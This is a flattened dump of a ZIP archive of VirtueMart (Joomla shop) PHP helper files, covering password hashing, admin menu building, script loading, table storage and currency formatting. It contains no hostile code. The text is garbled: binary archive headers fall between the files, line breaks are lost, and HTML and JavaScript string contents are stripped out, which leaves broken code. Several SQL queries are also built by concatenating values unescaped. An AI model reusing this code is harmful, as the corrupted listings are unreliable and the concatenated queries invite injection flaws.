The options array passed to password_hash * * @return boolean True if the password needs to be rehashed. */ function password_needs_rehash($hash, $algo, array $options = array()) { $info = password_get_info($hash); if ($info['algo'] != $algo) { return true; } switch ($algo) { case PASSWORD_BCRYPT: $cost = isset($options['cost']) ? $options['cost'] : 10; if ($cost != $info['options']['cost']) { return true; } break; } return false; } /** * Verify a password against a hash using a timing attack resistant approach * * @param string $password The password to verify * @param string $hash The hash to verify against * * @return boolean If the password matches the hash */ function password_verify($password, $hash) { if (!function_exists('crypt')) { trigger_error("Crypt must be loaded for password_verify to function", E_USER_WARNING); return false; } $ret = crypt($password, $hash); if (!is_string($ret) || PasswordCompat\binary\_strlen($ret) != PasswordCompat\binary\_strlen($hash) || PasswordCompat\binary\_strlen($ret) <= 13) { return false; } $status = 0; for ($i = 0; $i < PasswordCompat\binary\_strlen($ret); $i++) { $status |= (ord($ret[$i]) ^ ord($hash[$i])); } return $status === 0; } } } namespace PasswordCompat\binary { /** * Count the number of bytes in a string * * We cannot simply use strlen() for this, because it might be overwritten by the mbstring extension. * In this case, strlen() will count the number of *characters* based on the internal encoding. A * sequence of bytes might be regarded as a single multibyte character. * * @param string $binary_string The input string * * @internal * @return int The number of bytes */ function _strlen($binary_string) { if (function_exists('mb_strlen')) { return mb_strlen($binary_string, '8bit'); } return strlen($binary_string); } /** * Get a substring based on byte limits * * @see _strlen() * * @param string $binary_string The input string * @param int $start * @param int $length * * @internal * @return string The substring */ function _substr($binary_string, $start, $length) { if (function_exists('mb_substr')) { return mb_substr($binary_string, $start, $length, '8bit'); } return substr($binary_string, $start, $length); } } PKsl>\%e#e#Qcom_virtuemart_update/administrator/components/com_virtuemart/helpers/adminui.phpnuW+AaddStyleSheet($admin.'css/admin_ui.css'); //$document->addStyleSheet($admin.'css/admin_menu.css'); $document->addStyleSheet($admin.'css/admin.styles.css'); $document->addStyleSheet($admin.'css/toolbar_images.css'); $document->addStyleSheet($admin.'css/menu_images.css'); $document->addStyleSheet($front.'css/chosen.css'); $document->addStyleSheet($front.'css/vtip.css'); $document->addStyleSheet($front.'css/jquery.fancybox-1.3.4.css'); $document->addStyleSheet($front.'css/ui/jquery.ui.all.css'); //$document->addStyleSheet($admin.'css/jqtransform.css'); //loading defaut script $document->addScript($front.'js/fancybox/jquery.mousewheel-3.0.4.pack.js'); $document->addScript($front.'js/fancybox/jquery.easing-1.3.pack.js'); $document->addScript($front.'js/fancybox/jquery.fancybox-1.3.4.pack.js'); $document->addScript($admin.'js/jquery.coookie.js'); $document->addScript($front.'js/chosen.jquery.min.js'); $document->addScript($admin.'js/vm2admin.js'); $vm2string = "editImage: 'edit image',select_all_text: '".JText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".JText::_($selectText)."'" ; $document->addScriptDeclaration ( " // "); ?> '.vmView::getToolbar($vmView).'
    '; ?>
    value array. key = template name, value = Language File contraction * @params $cookieName = choose a cookiename or leave empty if you don't want cookie tabs in this place * @example 'shop' => 'COM_VIRTUEMART_ADMIN_CFG_SHOPTAB' */ static public function buildTabs($view, $load_template = array(),$cookieName='') { $cookieName = JRequest::getWord('view','virtuemart').$cookieName; $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="'.$cookieName.'"; '); $html = '
    '; foreach ( $load_template as $tab_content => $tab_title ) { $html .= '
    '; $html .= $view->loadTemplate ( $tab_content ); $html .= '
    '; } $html .= '
    '; echo $html; } /** * Admin UI Tabs Imitation * Gives A Tab Based Navigation Back And Loads The Templates With A Nice Design * @param $return = return the start tag or the closing tag - choose 'start' or 'end' * @params $language = pass the language string */ static function imitateTabs($return,$language = '') { if ($return == 'start') { $document = JFactory::getDocument (); $document->addScriptDeclaration ( ' var virtuemartcookie="vm-tab"; '); $html = '
    '; echo $html; } if ($return == 'end') { $html = '
    '; echo $html; } } /** * Build an array containing all the menu items. * * @param int $moduleId Id of the module to filter on */ static function _getAdminMenu($moduleId = 0) { $db = JFactory::getDBO (); $menuArr = array (); $filter [] = "jmmod.published='1'"; $filter [] = "item.published='1'"; $filter [] = "jmmod.is_admin='1'"; if (! empty ( $moduleId )) { $filter [] = 'vmmod.module_id=' . ( int ) $moduleId; } $query = 'SELECT `jmmod`.`module_id`, `module_name`, `module_perms`, `id`, `name`, `link`, `depends`, `icon_class`, `view`, `task` FROM `#__virtuemart_modules` AS jmmod LEFT JOIN `#__virtuemart_adminmenuentries` AS item ON `jmmod`.`module_id`=`item`.`module_id` WHERE ' . implode ( ' AND ', $filter ) . ' ORDER BY `jmmod`.`ordering`, `item`.`ordering` '; $db->setQuery ( $query ); $result = $db->loadAssocList (); // echo '
    '.print_r($query,1).'
    '; for($i = 0, $n = count ( $result ); $i < $n; $i ++) { $row = $result [$i]; $menuArr [$row['module_id']] ['title'] = 'COM_VIRTUEMART_' . strtoupper ( $row['module_name'] ) . '_MOD'; $menuArr [$row['module_id']] ['items'] [] = $row ; } return $menuArr; } /** * Display the administrative ribbon menu. * @todo The link should be done better */ static function showAdminMenu() { $document = JFactory::getDocument (); $moduleId = JRequest::getInt ( 'module_id', 0 ); $user = JFactory::getUser(); $menuItems = AdminUIHelper::_getAdminMenu ( $moduleId ); ?>
    PKsl>\v  Ucom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmtabledata.phpnuW+AsetLoggableFieldsForStore(); $this->storeParams(); $tblKey = $this->_tbl_key; $pKey = $this->_pkey; if($tblKey == $pKey){ $res = false; if(!empty($this->$tblKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_tbl_key.'` = "' . $this->$tblKey.'" '; $this->_db->setQuery($_qry); $res = $this->_db->loadResult(); } if($res){ $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } else { if(!empty($this->$pKey)){ $_qry = 'SELECT `'.$this->_tbl_key.'` ' . 'FROM `'.$this->_tbl.'` ' . 'WHERE `'.$this->_pkey.'` = "' . $this->$pKey.'" '; $this->_db->setQuery($_qry); //Yes, overwriting $this->$tblKey is correct ! $this->$tblKey = $this->_db->loadResult(); } if ( !empty($this->$tblKey) ) { $returnCode = $this->_db->updateObject($this->_tbl, $this, $this->_tbl_key, $updateNulls); } else { $returnCode = $this->_db->insertObject($this->_tbl, $this, $this->_tbl_key); } } // vmdebug('$_qry',$_qry,$pKey,$tblKey, $this->$tblKey); // vmError($_qry,'$_qry'); if (!$returnCode) { vmError(get_class($this) . '::store failed - ' . $this->_db->getErrorMsg()); return false; } else return true; } }PKsl>\ u::Qcom_virtuemart_update/administrator/components/com_virtuemart/helpers/vmjsapi.phpnuW+A element * @param string path to file * @param string library name * @param string library version * @param boolean load minified version * @return nothing */ public static function js($namespace,$path=FALSE,$version='', $minified = NULL) { static $loaded = array(); // Only load once // using of namespace assume same library have same namespace // NEVER WRITE FULL NAME AS $namespace IN CASE OF REVISION NUMBER IF YOU WANT PREVENT MULTI LOAD !!! // eg. $namespace = 'jquery.1.8.6' and 'jquery.1.6.2' does not prevent load it // use $namespace = 'jquery',$revision ='1.8.6' , $namespace = 'jquery',$revision ='1.6.2' ... // loading 2 time a JS file with this method simply return and do not load it the second time if (!empty($loaded[$namespace])) { return; } $file = vmJsApi::setPath($namespace,$path,$version, $minified , 'js'); $document = JFactory::getDocument(); $document->addScript( $file ); $loaded[$namespace] = TRUE; } /** * Write a element * @param string path to file * @param string library name * @param string library version * @param boolean library version * @return nothing */ public static function css($namespace,$path = FALSE ,$version='', $minified = NULL) { static $loaded = array(); // Only load once // using of namespace assume same css have same namespace // loading 2 time css with this method simply return and do not load it the second time if (!empty($loaded[$namespace])) { return; } $file = vmJsApi::setPath( $namespace,$path, $version='', $minified , 'css'); $document = JFactory::getDocument(); $document->addStyleSheet($file); $loaded[$namespace] = TRUE; } /* * Set file path(look in template if relative path) */ public static function setPath( $namespace ,$path = FALSE ,$version='' ,$minified = NULL , $ext = 'js', $absolute_path=false) { $version = $version ? '.'.$version : ''; $min = $minified ? '.min' : ''; $file = $namespace.$version.$min.'.'.$ext ; $template = JFactory::getApplication()->getTemplate() ; if ($path === FALSE) { $uri = JPATH_THEMES .'/'. $template.'/'.$ext ; $path= 'templates/'. $template .'/'.$ext ; } if (strpos($path, 'templates/'. $template ) !== FALSE){ // Search in template or fallback if (!file_exists($uri.'/'. $file)) { $assets_path = VmConfig::get('assets_general_path','components/com_virtuemart/assets/') ; $path = str_replace('templates/'. $template.'/',$assets_path, $path); } if ($absolute_path) { $path = JPATH_BASE .'/'.$path; } else { $path = JURI::root(TRUE) .'/'.$path; } } elseif (strpos($path, '//') === FALSE) { if ($absolute_path) { $path = JPATH_BASE .'/'.$path; } else { $path = JURI::root(TRUE) .'/'.$path; } } return $path.'/'.$file ; } /** * ADD some javascript if needed * Prevent duplicate load of script * @ Author KOHL Patrick */ static function jQuery($isSite=-1) { if(JVM_VERSION>2){ JHtml::_('jquery.framework'); return true; } else { //Very important convention with other 3rd pary developers, must be kept. DOES NOT WORK IN J3 if (JFactory::getApplication ()->get ('jquery')) { return FALSE; } } if($isSite===-1)$isSite = JFactory::getApplication()->isSite(); if (!VmConfig::get ('jquery', true) and $isSite) { vmdebug('Common jQuery is disabled'); return FALSE; } if(VmConfig::get('google_jquery',true)){ if(JVM_VERSION<3) vmJsApi::js('jquery','//ajax.googleapis.com/ajax/libs/jquery/1.8.1','',true); //$document->addScript('//ajax.googleapis.com/ajax/libs/jquery/1.6.4/jquery.min.js'); if (!$isSite) { vmJsApi::js ('jquery-ui', '//ajax.googleapis.com/ajax/libs/jqueryui/1.8.23', '', true); } // if (!$isSite) $document->addScript('//ajax.googleapis.com/ajax/libs/jqueryui/1.8.16/jquery-ui.min.js'); } else { if(JVM_VERSION<3) vmJsApi::js( 'jquery',FALSE,'',TRUE); //$document->addScript(JURI::root(true).'/components/com_virtuemart/assets/js/jquery.min.js'); if (!$isSite) { vmJsApi::js ('jquery-ui', FALSE, '', TRUE); } //if (!$isSite) $document->addScript(JURI::root(true).'/components/com_virtuemart/assets/js/jquery-ui.min.js'); } if (!$isSite) { vmJsApi::js ('jquery.ui.autocomplete.html'); } if(JVM_VERSION<3){ //Very important convention with other 3rd pary developers, must be kept DOES NOT WORK IN J3 JFactory::getApplication()->set('jquery',TRUE); } vmJsApi::js( 'jquery.noconflict'); return TRUE; } // Virtuemart product and price script static function jPrice() { if (!VmConfig::get ('jprice', TRUE) and JFactory::getApplication ()->isSite ()) { return FALSE; } static $jPrice; // If exist exit if ($jPrice) { return; } vmJsApi::jQuery(); VmConfig::loadJLang('com_virtuemart',true); vmJsApi::jSite(); $closeimage = JURI::root(TRUE) .'/components/com_virtuemart/assets/images/fancybox/fancy_close.png'; $jsVars = "// '; $document = JFactory::getDocument(); $document->addScriptDeclaration ($jsVars); vmJsApi::js( 'vmprices'); $jPrice = TRUE; return TRUE; } // Virtuemart Site Js script static function jSite() { if (!VmConfig::get ('jsite', TRUE) and JFactory::getApplication ()->isSite ()) { return FALSE; } vmJsApi::js('vmsite'); } static function JcountryStateList($stateIds, $prefix='') { static $JcountryStateList = array(); // If exist exit if (isset($JcountryStateList[$prefix]) or !VmConfig::get ('jsite', TRUE)) { return; } $document = JFactory::getDocument(); VmJsApi::jSite(); $document->addScriptDeclaration(' // '); $JcountryStateList[$prefix] = TRUE; return; } static function chosenDropDowns(){ static $chosenDropDowns = false; if(!$chosenDropDowns){ if(VmConfig::get ('jchosen', 0)){ vmJsApi::js('chosen.jquery.min'); vmJsApi::css('chosen'); $document = JFactory::getDocument(); $selectText = 'COM_VIRTUEMART_DRDOWN_AVA2ALL'; $vm2string = "editImage: 'edit image',select_all_text: '".vmText::_('COM_VIRTUEMART_DRDOWN_SELALL')."',select_some_options_text: '".vmText::_($selectText)."'" ; $document->addScriptDeclaration ( ' // '); } $chosenDropDowns = true; } return; } static function JvalideForm($name='#adminForm') { static $jvalideForm; // If exist exit if ($jvalideForm === $name) { return; } $document = JFactory::getDocument(); $document->addScriptDeclaration( " // " ); if ($jvalideForm) { return; } vmJsApi::js( 'jquery.validationEngine'); $lg = JFactory::getLanguage(); $lang = substr($lg->getTag(), 0, 2); /*$existingLang = array("cz", "da", "de", "en", "es", "fr", "it", "ja", "nl", "pl", "pt", "ro", "ru", "tr"); if (!in_array ($lang, $existingLang)) { $lang = "en"; }*/ $vlePath = vmJsApi::setPath('languages/jquery.validationEngine-'.$lang, FALSE , '' ,$minified = NULL , 'js', true); if(file_exists($vlePath) and !is_dir($vlePath)){ vmJsApi::js( 'languages/jquery.validationEngine-'.$lang ); } else { vmJsApi::js( 'languages/jquery.validationEngine-en' ); } vmJsApi::css ( 'validationEngine.template' ); vmJsApi::css ( 'validationEngine.jquery' ); $jvalideForm = $name; } // Virtuemart product and price script static function jCreditCard() { static $jCreditCard; // If exist exit if ($jCreditCard) { return; } VmConfig::loadJLang('com_virtuemart',true); $js = " // "; $doc = JFactory::getDocument(); $doc->addScriptDeclaration($js); $jCreditCard = TRUE; return TRUE; } /** * ADD some CSS if needed * Prevent duplicate load of CSS stylesheet * @ Author KOHL Patrick */ static function cssSite() { if (!VmConfig::get ('css', TRUE)) { return FALSE; } static $cssSite; if ($cssSite) { return; } // Get the Page direction for right to left support $document = JFactory::getDocument (); $direction = $document->getDirection (); $cssFile = 'vmsite-' . $direction ; // If exist exit vmJsApi::css ( $cssFile ) ; $cssSite = TRUE; return TRUE; } // $yearRange format >> 1980:2010 // Virtuemart Datepicker script static function jDate($date='',$name="date",$id=NULL,$resetBt = TRUE, $yearRange='') { if ($yearRange) { $yearRange = 'yearRange: "' . $yearRange . '",'; } if ($date == "0000-00-00 00:00:00") { $date = 0; } if (empty($id)) { $id = $name; } static $jDate; $dateFormat = vmText::_('COM_VIRTUEMART_DATE_FORMAT_INPUT_J16');//="m/d/y" $search = array('m', 'd', 'Y'); $replace = array('mm', 'dd', 'yy'); $jsDateFormat = str_replace($search, $replace, $dateFormat); if ($date) { $formatedDate = JHtml::_('date', $date, $dateFormat ); } else { $formatedDate = vmText::_('COM_VIRTUEMART_NEVER'); } $display = ''; $display .= ''; if ($resetBt) { $display .= ''; } // If exist exit if ($jDate) { return $display; } $front = 'components/com_virtuemart/assets/'; $document = JFactory::getDocument(); $document->addScriptDeclaration(' // '); vmJsApi::js ('jquery.ui.core',FALSE,'',TRUE); vmJsApi::js ('jquery.ui.datepicker',FALSE,'',TRUE); vmJsApi::css ('jquery.ui.all',$front.'css/ui' ) ; $lg = JFactory::getLanguage(); $lang = $lg->getTag(); $existingLang = array("af","ar","ar-DZ","az","bg","bs","ca","cs","da","de","el","en-AU","en-GB","en-NZ","eo","es","et","eu","fa","fi","fo","fr","fr-CH","gl","he","hr","hu","hy","id","is","it","ja","ko","kz","lt","lv","ml","ms","nl","no","pl","pt","pt-BR","rm","ro","ru","sk","sl","sq","sr","sr-SR","sv","ta","th","tj","tr","uk","vi","zh-CN","zh-HK","zh-TW"); if (!in_array ($lang, $existingLang)) { $lang = substr ($lang, 0, 2); } elseif (!in_array ($lang, $existingLang)) { $lang = "en-GB"; } vmJsApi::js ('jquery.ui.datepicker-'.$lang, $front.'js/i18n' ) ; $jDate = TRUE; return $display; } /* * Convert formated date; * @ $date the date to convert * @ $format Joomla DATE_FORMAT Key endding eg. 'LC2' for DATE_FORMAT_LC2 * @ revert date format for database- TODO ? */ static function date($date , $format ='LC2', $joomla=FALSE ,$revert=FALSE ){ if (!strcmp ($date, '0000-00-00 00:00:00')) { return vmText::_ ('COM_VIRTUEMART_NEVER'); } If ($joomla) { $formatedDate = JHtml::_('date', $date, vmText::_('DATE_FORMAT_'.$format)); } else { $J16 = "_J16"; $formatedDate = JHtml::_('date', $date, vmText::_('COM_VIRTUEMART_DATE_FORMAT_'.$format.$J16)); } return $formatedDate; } }PKsl>\ &HLLYcom_virtuemart_update/administrator/components/com_virtuemart/helpers/currencydisplay.phpnuW+A_app = JFactory::getApplication(); if(empty($vendorId)) $vendorId = 1; $this->_db = JFactory::getDBO(); $q = 'SELECT `vendor_currency`,`currency_code_3`,`currency_numeric_code` FROM `#__virtuemart_vendors` AS v LEFT JOIN `#__virtuemart_currencies` AS c ON virtuemart_currency_id = vendor_currency WHERE v.`virtuemart_vendor_id`="'.(int)$vendorId.'"'; $this->_db->setQuery($q); $row = $this->_db->loadRow(); $this->_vendorCurrency = $row[0]; $this->_vendorCurrency_code_3 = $row[1]; $this->_vendorCurrency_numeric = (int)$row[2]; //vmdebug('$row ',$row); $converterFile = VmConfig::get('currency_converter_module','convertECB.php'); if (file_exists( JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile ) and !is_dir(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile)) { $module_filename=substr($converterFile, 0, -4); require_once(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.$converterFile); if( class_exists( $module_filename )) { $this->_currencyConverter = new $module_filename(); } } else { if(!class_exists('convertECB')) require(JPATH_VM_ADMINISTRATOR.DS.'plugins'.DS.'currency_converter'.DS.'convertECB.php'); $this->_currencyConverter = new convertECB(); } } /** * * Gives back the format of the currency, gets $style if none is set, with the currency Id, when nothing is found it tries the vendorId. * When no param is set, you get the format of the mainvendor * * @author Max Milbers * @param int $currencyId Id of the currency * @param int $vendorId Id of the vendor * @param string $style The vendor_currency_display_code * FORMAT: 1: id, 2: CurrencySymbol, 3: NumberOfDecimalsAfterDecimalSymbol, 4: DecimalSymbol, 5: Thousands separator 6: Currency symbol position with Positive values : 7: Currency symbol position with Negative values : EXAMPLE: ||€|2|,||1|8 * @return string */ static public function getInstance($currencyId=0,$vendorId=0){ // if(empty(self::$_instance) || empty(self::$_instance->_currency_id) || ($currencyId!=self::$_instance->_currency_id && !empty($currencyId)) ){ if(empty(self::$_instance) || (!empty($currencyId) and $currencyId!=self::$_instance->_currency_id) ){ self::$_instance = new CurrencyDisplay($vendorId); if(empty($currencyId)){ if(self::$_instance->_app->isSite()){ self::$_instance->_currency_id = self::$_instance->_app->getUserStateFromRequest( "virtuemart_currency_id", 'virtuemart_currency_id',JRequest::getInt('virtuemart_currency_id', 0)); } if(empty(self::$_instance->_currency_id)){ self::$_instance->_currency_id = self::$_instance->_vendorCurrency; } } else { self::$_instance->_currency_id = $currencyId; } $q = 'SELECT * FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id`="'.(int)self::$_instance->_currency_id.'"'; self::$_instance->_db->setQuery($q); $style = self::$_instance->_db->loadObject(); if(!empty($style)){ self::$_instance->setCurrencyDisplayToStyleStr($style); } else { $uri = JFactory::getURI(); VmConfig::loadJLang('com_virtuemart'); if(empty(self::$_instance->_currency_id)){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=user&task=editshop'; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_CURRENCY_DEFINED',''.$link.'')); } else{ if(JRequest::getWord('view')!='currency'){ $link = $uri->root().'administrator/index.php?option=com_virtuemart&view=currency&task=edit&cid[]='.self::$_instance->_currency_id; JError::raiseWarning('1', JText::sprintf('COM_VIRTUEMART_CONF_WARN_NO_FORMAT_DEFINED',''.$link.'')); } } // self::$_instance->setCurrencyDisplayToStyleStr($currencyId); //would be nice to automatically unpublish the product/currency or so } } self::$_instance->setPriceArray(); return self::$_instance; } /** * Parse the given currency display string into the currency diplsy values. * * This function takes the currency style string as saved in the vendor * record and parses it into its appropriate values. An example style * string would be 1|€|2|,|.|0|0 * * @author Max Milbers * @param String $currencyStyle String containing the currency display settings */ private function setCurrencyDisplayToStyleStr($style) { //vmdebug('setCurrencyDisplayToStyleStr ',$style); $this->_currency_id = $style->virtuemart_currency_id; $this->_symbol = $style->currency_symbol; $this->_nbDecimal = $style->currency_decimal_place; $this->_decimal = $style->currency_decimal_symbol; $this->_numeric_code = (int)$style->currency_numeric_code; $this->_thousands = $style->currency_thousands; $this->_positivePos = $style->currency_positive_style; $this->_negativePos = $style->currency_negative_style; } /** * This function sets an array, which holds the information if * a price is to be shown and the number of rounding digits * * @author Max Milbers */ function setPriceArray(){ if(count($this->_priceConfig)>0)return true; if(!class_exists('JParameter')) require(JPATH_VM_LIBRARIES.DS.'joomla'.DS.'html'.DS.'parameter.php' ); $user = JFactory::getUser(); $result = false; if(!empty($user->id)){ $q = 'SELECT `vx`.`virtuemart_shoppergroup_id` FROM `#__virtuemart_vmusers` as `u` LEFT OUTER JOIN `#__virtuemart_vmuser_shoppergroups` AS `vx` ON `u`.`virtuemart_user_id` = `vx`.`virtuemart_user_id` LEFT OUTER JOIN `#__virtuemart_shoppergroups` AS `sg` ON `vx`.`virtuemart_shoppergroup_id` = `sg`.`virtuemart_shoppergroup_id` WHERE `u`.`virtuemart_user_id` = "'.$user->id.'" '; $this->_db->setQuery($q); $result = $this->_db->loadResult(); } if(!$result){ $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`default` = "'.($user->guest+1).'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } else { $q = 'SELECT `price_display`,`custom_price_display` FROM `#__virtuemart_shoppergroups` AS `sg` WHERE `sg`.`virtuemart_shoppergroup_id` = "'.$result.'" '; $this->_db->setQuery($q); $result = $this->_db->loadRow(); } if(!empty($result[0])){ $result[0] = unserialize($result[0]); } $custom_price_display = 0; if(!empty($result[1])){ $custom_price_display = $result[1]; } if($custom_price_display && !empty($result[0])){ $show_prices = $result[0]->get('show_prices',VmConfig::get('show_prices', 1)); // vmdebug('$result[0]',$result[0],$show_prices); } else { $show_prices = VmConfig::get('show_prices', 1); } $priceFields = array('basePrice','variantModification','basePriceVariant', 'basePriceWithTax','discountedPriceWithoutTax', 'salesPrice','priceWithoutTax', 'salesPriceWithDiscount','discountAmount','taxAmount','unitPrice'); if($show_prices==1){ foreach($priceFields as $name){ $show = 0; $round = 0; $text = 0; //Here we check special settings of the shoppergroup // $result = unserialize($result); if($custom_price_display==1){ $show = (int)$result[0]->get($name); $round = (int)$result[0]->get($name.'Rounding'); $text = $result[0]->get($name.'Text'); // vmdebug('$custom_price_display'); } else { $show = VmConfig::get($name,0); $round = VmConfig::get($name.'Rounding',2); $text = VmConfig::get($name.'Text',0); // vmdebug('$config_price_display'); } //Map to currency if($round==-1){ $round = $this->_nbDecimal; //vmdebug('Use currency rounding '.$round); } $this->_priceConfig[$name] = array($show,$round,$text); } } else { foreach($priceFields as $name){ $this->_priceConfig[$name] = array(0,0,0); } } // vmdebug('$this->_priceConfig',$this->_priceConfig); } /** * getCurrencyForDisplay: get The actual displayed Currency * Use this only in a view, plugin or modul, never in a model * * @param integer $currencyId * return integer $currencyId: displayed Currency * */ public function getCurrencyForDisplay( $currencyId=0 ){ if(empty($currencyId)){ $currencyId = (int)$this->_app->getUserStateFromRequest( 'virtuemart_currency_id', 'virtuemart_currency_id',$this->_vendorCurrency ); if(empty($currencyId)){ $currencyId = $this->_vendorCurrency; } } return $currencyId; } /** * This function is for the gui only! * Use this only in a view, plugin or modul, never in a model * TODO for vm2.2 remove quantity option * @param float $price * @param integer $currencyId * return string formatted price */ public function priceDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $price = $this->roundForDisplay($price,$currencyId, $quantity ,$inToShopCurrency, $nb); return $this->getFormattedCurrency($price,$nb); } public function roundForDisplay($price, $currencyId=0,$quantity = 1.0,$inToShopCurrency = false,$nb= -1){ $currencyId = $this->getCurrencyForDisplay($currencyId); if($nb==-1){ $nb = $this->_nbDecimal; } $price = (float)$price * (float)$quantity; $price = $this->convertCurrencyTo($currencyId,$price,$inToShopCurrency); if($this->_numeric_code===756 and VmConfig::get('rappenrundung',FALSE)=="1"){ $price = round((float)$price * 2,1) * 0.5; } else { $price = round($price,$nb); } return $price; } /** * Format, Round and Display Value * @author Max Milbers * @param val number */ public function getFormattedCurrency( $nb, $nbDecimal=-1){ //TODO $this->_nbDecimal is the config of the currency and $nbDecimal is the config of the price type. if($nbDecimal==-1) $nbDecimal = $this->_nbDecimal; if($nb>=0){ $format = $this->_positivePos; $sign = '+'; } else { $format = $this->_negativePos; $sign = '-'; $nb = abs($nb); } //$res = $this->formatNumber($nb, $nbDecimal, $this->_thousands, $this->_decimal); $res = number_format((float)$nb,(int)$nbDecimal,$this->_decimal,$this->_thousands); $search = array('{sign}', '{number}', '{symbol}'); $replace = array($sign, $res, $this->_symbol); $formattedRounded = str_replace ($search,$replace,$format); return $formattedRounded; } /** * function to create a div to show the prices, is necessary for JS * * @author Max Milbers * @author Patrick Kohl * @param string name of the price * @param String description key * @param array the prices of the product * return a div for prices which is visible according to config and have all ids and class set */ public function createPriceDiv($name,$description,$product_price,$priceOnly=false,$switchSequel=false,$quantity = 1.0,$forceNoLabel=false){ // vmdebug('createPriceDiv '.$name,$product_price[$name]); if(empty($product_price) and $name != 'billTotal' and $name != 'billTaxAmount') return ''; //The fallback, when this price is not configured if(empty($this->_priceConfig[$name])){ $this->_priceConfig[$name] = $this->_priceConfig['salesPrice']; } //This is a fallback because we removed the "salesPriceWithDiscount" ; if(is_array($product_price)){ $price = $product_price[$name] ; } else { $price = $product_price; } //This could be easily extended by product specific settings if(!empty($this->_priceConfig[$name][0])){ if(!empty($price) or $name == 'billTotal' or $name == 'billTaxAmount'){ $vis = "block"; $priceFormatted = $this->priceDisplay($price,0,(float)$quantity,false,$this->_priceConfig[$name][1],$name ); } else { $priceFormatted = ''; $vis = "none"; } if($priceOnly){ return $priceFormatted; } if($forceNoLabel) { return '
    '.$priceFormatted.'
    '; } $descr = ''; if($this->_priceConfig[$name][2]) $descr = JText::_($description); // vmdebug('createPriceDiv $name '.$name.' '.$product_price[$name]); if(!$switchSequel){ return '
    '.$descr.''.$priceFormatted.'
    '; } else { return '
    '.$priceFormatted.''.$descr.'
    '; } } } /** * * @author Max Milbers * @param unknown_type $currency * @param unknown_type $price * @param unknown_type $shop */ function convertCurrencyTo($currency,$price,$shop=true){ if(empty($currency)){ // vmdebug('empty $currency ',$price); return $price; } // If both currency codes match, do nothing if( (is_Object($currency) and $currency->_currency_id == $this->_vendorCurrency) or (!is_Object($currency) and $currency == $this->_vendorCurrency)) { // vmdebug(' $currency == $this->_vendorCurrency ',$price); return $price; } if(is_Object($currency)){ $exchangeRate = (float)$currency->exchangeRateShopper; vmdebug('convertCurrencyTo OBJECT '.$exchangeRate); } else { static $currency_exchange_rate = array(); if(!isset($currency_exchange_rate[$currency])){ $q = 'SELECT `currency_exchange_rate` FROM `#__virtuemart_currencies` WHERE `virtuemart_currency_id` ="'.(int)$currency.'" '; $this->_db->setQuery($q); $currency_exchange_rate[$currency] = (float)$this->_db->loadResult(); } if(!empty($currency_exchange_rate[$currency])){ $exchangeRate = $currency_exchange_rate[$currency]; } else { $exchangeRate = 0; } } if(!empty($exchangeRate) ){ if($shop){ $price = $price / $exchangeRate; } else { $price = $price * $exchangeRate; } } else { $currencyCode = self::ensureUsingCurrencyCode($currency); $vendorCurrencyCode = self::ensureUsingCurrencyCode($this->_vendorCurrency); $globalCurrencyConverter=JRequest::getVar('globalCurrencyConverter'); if($shop){ $price = $this ->_currencyConverter->convert( $price, $currencyCode, $vendorCurrencyCode); //vmdebug('convertCurrencyTo Use dynamic rate in shop '.$oldprice .' => '.$price); } else { //vmdebug('convertCurrencyTo Use dynamic rate to shopper currency '.$price); $price = $this ->_currencyConverter->convert( $price , $vendorCurrencyCode, $currencyCode); } // vmdebug('convertCurrencyTo my currency ',$this->exchangeRateShopper); } return $price; } /** * Changes the virtuemart_currency_id into the right currency_code * For exampel 47 => EUR * * @author Max Milbers * @author Frederic Bidon */ function ensureUsingCurrencyCode($curr){ if(is_numeric($curr) and $curr!=0){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyByID($curr,'currency_code_3'); } return $curr; } /** * Changes the currency_code into the right virtuemart_currency_id * For exampel 'currency_code_3' : EUR => 47 * * @author Max Milbers * @author Kohl Patrick */ function getCurrencyIdByField($value=0,$fieldName ='currency_code_3'){ if(is_string($value) ){ if (!class_exists('ShopFunctions')) require(JPATH_VM_ADMINISTRATOR . DS . 'helpers' . DS . 'shopfunctions.php'); return ShopFunctions::getCurrencyIDByName($value,$fieldName); } return $value; } /** * * @author Horvath, Sandor [HU] http://de.php.net/manual/de/function.number-format.php * @author Max Milbers * @param double $number * @param int $decimals * @param string $thousand_separator * @param string $decimal_point */ function formatNumber($number, $decimals = 2, $decimal_point = '.', $thousand_separator = ' ' ){ // $tmp1 = round((float) $number, $decimals); return number_format($number,$decimals,$decimal_point,$thousand_separator); // while (($tmp2 = preg_replace('/(\d+)(\d\d\d)/', '\1 \2', $tmp1)) != $tmp1){ // $tmp1 = $tmp2; // } // // return strtr($tmp1, array(' ' => $thousand_separator, '.' => $decimal_point)); } /** * Return the currency symbol */ public function getSymbol() { return($this->_symbol); } /** * Return the currency ID */ public function getId() { return($this->_currency_id); } /** * Return the number of decimal places * * @author RickG * @return int Number of decimal places */ public function getNbrDecimals() { return($this->_nbDecimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getDecimalSymbol() { return($this->_decimal); } /** * Return the decimal symbol * * @author RickG * @return string Decimal place symbol */ public function getThousandsSeperator() { return($this->_thousands); } /** * Return the positive format * * @author RickG * @return string Positive number format */ public function getPositiveFormat() { return($this->_positivePos); } /** * Return the negative format * * @author RickG * @return string Negative number format */ public function getNegativeFormat() { return($this->_negativePos); } } // pure php no closing tag 